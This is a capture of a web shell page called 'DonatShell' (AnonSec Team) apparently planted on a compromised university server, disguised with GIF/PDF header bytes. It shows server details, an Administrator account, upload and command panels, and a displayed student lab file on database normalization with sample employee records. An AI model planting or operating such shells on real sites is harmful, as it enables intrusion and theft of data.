GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/uploads/20243/CST1600/41/16513508/Lab08/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /nginx/html/uploads/20243/CST1600/41/16513508/Lab08/EliasDavis-Lab08.txt
UNF:
employeework (employeeId*, name, SSN, projectWork, spouseName, spouseSSN, spouseIsInsured)

1NF:
	Note:The projectWork field is non atomic, hence why i need to split it into its own field. 
	
	employees(employeeId*, firstName, LastName, SSN, spouseName, spouseSSN, spouseIsInsured)
	projectWork(projectCode*, employeeId*@, projectName, projectDate, projectHours)

2NF:
	Note: In the 1NF table the project work has a partial dependancy on the employeeId,
	but multiple employees could have the same project,
	so we have to make a table just for project items.
	It also does'nt make sense to include spouses in the employee table,
	since not all employees have a spouse
	
	employee(employeeId*, firstName, LastName, SSN)
	project(projectCode*, projectName, projectDate, projectHours)
	projectEmployee(projectCode*@, employeeId*@)  
	employeeSpouse(employeeId*@, spouseName, spouseSSN, spouseIsInsured)

3NF:
	OK
	
	employee(employeeId*, firstName, LastName, SSN)
	project(projectCode*, projectName, projectDate, projectHours)
	projectEmployee(projectCode*@, employeeId*@)  
	employeeSpouse(employeeId*@, spouseName, spouseSSN, spouseIsInsured)


All data rows:
	employee(employeeId*, firstName, LastName, SSN)
			 1			  Avram 	 Hinton	   123456789
			 2			  Xerxes	 Hayes	   345678901
			 3			  Kristen	 Acosta	   456789012
			 4			  Harper     Mcmahon   567890123
	project(projectCode*, projectName)
			Chr0944		  Dining room table chairs
			Tbl0944		  Dining room table
			Kit0944		  Kitchen counters
			
	projectEmployee(employeeId*@, projectCode*@, projectDate, projectHours)  
					1			  Chr0944		 2023-02-05   8
					1			  Tbl0944		 2023-02-06   6
					1			  Tbl0944		 2023-02-07   6
					2			  Kit0944		 2023-02-05   8
					2			  Kit0944		 2023-02-06   8
					2			  Tbl0944   	 2023-02-07   4
					3			  Kit0944 		 2023-02-05   8
					4			  Kit0944		 2023-02-05   4
					4	   		  Chr0944		 2023-02-05   4
					4			  Kit0944		 2023-02-06   8
	employeeSpouse(employeeId*@, spouseName,   spouseSSN, spouseIsInsured)
				   1			 Lucy Merritt  234567890  No
				   2			 null		   null       null
				   3			 Kylee Acosta  567890123  Yes
				   4			 null		   null       null

Anon7 - 2022
AnonSec Team